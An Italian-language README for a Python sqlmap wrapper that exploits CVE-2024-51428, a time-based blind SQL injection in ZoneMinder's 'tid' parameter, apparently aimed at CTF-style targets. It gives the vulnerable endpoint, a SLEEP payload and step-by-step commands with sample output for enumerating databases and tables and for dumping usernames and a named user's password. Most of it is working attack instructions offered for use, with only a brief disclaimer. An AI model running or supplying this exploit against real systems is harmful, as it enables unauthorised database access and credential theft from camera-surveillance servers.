
Wrapper in Python per sfruttare CVE-2024-51428 in ZoneMinder utilizzando Blind SQL Injection con sqlmap, automatizzando l'enumerazione di database, tabelle e l'estrazione dei dati con output pulito.
Wrapper Python per sqlmap progettato per sfruttare CVE-2024-51428 in ZoneMinder.
Questo strumento automatizza il rilevamento e lo sfruttamento di una vulnerabilità Blind SQL Injection mantenendo l'output pulito e focalizzato sui dati utili.
Lo script nasconde i log di sqlmap e mostra solo informazioni rilevanti come:
Ciò rende lo strumento ideale per ambienti CTF, dimostrazioni e test di sicurezza.
CVE: CVE-2024-51428
Tipo: Blind SQL Injection
Software interessato: ZoneMinder
Vettore d'attacco: Parametro HTTP GET
Parametro: tid
La vulnerabilità esiste nel seguente endpoint:
/zm/index.php?view=request&request=event&action=removetag&tid=
Il parametro tid non viene adeguatamente sanificato prima di essere utilizzato in una query al database, consentendo agli attaccanti di iniettare query SQL.
La tecnica di sfruttamento utilizzata è time-based blind SQL injection.
Esempio di payload scoperto da sqlmap:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
Questo payload forza il database a dormire se la query viene eseguita con successo, confermando la presenza di SQL injection.
Installa sqlmap se necessario:
sudo apt install sqlmap
Sintassi di base:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
Con questo comando verifichiamo se è vulnerabile o meno
Esempio:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
L'exploit richiede un cookie di sessione valido di ZoneMinder.
Passaggi:
Application → Cookies
ZMSESSID
-cEsempio:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
Output di esempio:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
Output di esempio:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
Output di esempio:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
Esempio:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
Puoi filtrare le righe usando:
-ff <COLUMN> <VALUE>
Esempio:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
SQL equivalente:
WHERE Username='mark'
Esempio:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
Comando sqlmap interno:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
Lo script agisce come un wrapper attorno a sqlmap.
Passaggi eseguiti internamente:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
Questo strumento è stato creato per:
Questo progetto è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati.
L'autore non è responsabile per l'uso improprio di questo strumento.
Ottieni sempre l'autorizzazione appropriata prima di testare qualsiasi sistema.
Ricerca sulla sicurezza / strumenti per CTF